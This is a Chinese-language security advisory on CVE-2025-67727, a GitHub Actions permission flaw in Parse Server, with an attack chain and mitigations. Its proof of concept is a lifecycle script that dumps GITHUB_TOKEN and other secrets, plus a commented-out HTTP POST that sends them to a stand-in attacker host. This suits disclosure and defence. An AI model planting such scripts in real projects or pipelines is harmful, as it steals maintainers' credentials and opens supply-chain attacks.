IPBUF安全漏洞报告
English
CVE-2025-67727 CVSS 9.8 严重

CVE-2025-67727: Parse Server GitHub Actions工作流权限提升漏洞

披露日期: 2025-12-12

漏洞信息

漏洞编号
CVE-2025-67727
漏洞类型
权限提升/工作流安全配置错误
CVSS评分
9.8 严重
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
Parse Server

相关标签

权限提升GitHub ActionsCI/CD安全供应链攻击Parse Server工作流注入凭证窃取Node.js

漏洞概述

Parse Server是一个开源后端框架,可以部署到任何运行Node.js的基础设施上。该漏洞存在于Parse Server 8.6.0-alpha.2之前的版本中,涉及GitHub CI工作流的权限配置问题。在这些版本中,GitHub Actions工作流以提升的权限级别触发,使得工作流能够访问存储在GitHub仓库中的secrets(如部署密钥、API令牌等)以及具有写权限的操作。攻击者可以通过创建包含恶意代码的fork仓库或利用生命周期脚本来触发该工作流,从而窃取敏感凭据或执行未授权的写操作。此漏洞仅影响仓库的CI/CD基础设施,但包括启用了GitHub Actions的公共GitHub forks,可能导致大规模供应链攻击风险。

技术细节

该漏洞的根本原因在于Parse Server仓库的GitHub Actions工作流配置文件中permissions字段设置过于宽松,允许工作流以高权限级别运行。在GitHub Actions中,工作流可以声明所需的权限范围,当未明确指定或设置为read-all/write-all时,工作流会继承仓库级别的最高权限。攻击者可以利用以下方式利用此漏洞:1) 创建Parse Server的公开fork;2) 在fork中添加恶意代码到生命周期脚本(postinstall、preinstall等)或workflow文件;3) 推送代码触发工作流运行;4) 工作流以提升的权限执行时,恶意代码可以访问GITHUB_TOKEN、secrets和其他敏感环境变量。由于GitHub Actions在运行工作流时会自动设置这些环境变量,攻击者可以通过简单的console.log(process.env)或文件写入操作来窃取这些凭据。修复方案包括:限制工作流权限为最小必要权限(permissions: contents: read),以及在执行外部代码前进行安全验证。

攻击链分析

STEP 1
步骤1
攻击者fork Parse Server仓库到自己的GitHub账户
STEP 2
步骤2
攻击者在fork中添加恶意代码到package.json的生命周期脚本(postinstall等)或修改workflow文件
STEP 3
步骤3
攻击者推送代码到fork,触发GitHub Actions CI工作流
STEP 4
步骤4
工作流以提升的权限级别执行,此时恶意代码可以访问GITHUB_TOKEN、仓库secrets和其他敏感环境变量
STEP 5
步骤5
恶意代码将窃取的凭据写入文件或直接外传到攻击者控制的服务器
STEP 6
步骤6
攻击者利用窃取的secrets进行后续攻击,如推送恶意代码到上游仓库或访问相关服务

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
// Malicious lifecycle script that can be added to a fork // This PoC demonstrates how secrets can be exfiltrated const fs = require('fs'); const path = require('path'); // Capture all environment variables (including GITHUB_TOKEN and secrets) const envDump = Object.entries(process.env) .map(([key, value]) => `${key}=${value}`) .join('\n'); // Write to a file that will be picked up by the workflow const outputPath = path.join(__dirname, 'leaked_secrets.txt'); fs.writeFileSync(outputPath, envDump); console.log('[+] Lifecycle script executed with elevated permissions'); console.log('[+] Environment variables dumped to:', outputPath); // Alternative: Direct exfiltration via HTTP request // const https = require('https'); // const data = JSON.stringify({ secrets: envDump }); // const req = https.request({ // hostname: 'attacker-controlled-server.com', // path: '/collect', // method: 'POST', // headers: { 'Content-Type': 'application/json', 'Content-Length': data.length } // }, (res) => { /* ignore response */ }); // req.write(data); // req.end();

影响范围

Parse Server < 8.6.0-alpha.2

防御指南

临时缓解措施
如果无法立即升级,请采取以下临时措施:1) 在仓库Settings > Actions > General中,将Workflow permissions设置为Read repository contents permission only;2) 禁用fork仓库的Actions运行;3) 添加工作流条件检查确保只在受信任的分支上运行;4) 避免在CI/CD流程中直接使用secrets进行操作,考虑使用OpenID Connect进行云服务身份验证。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表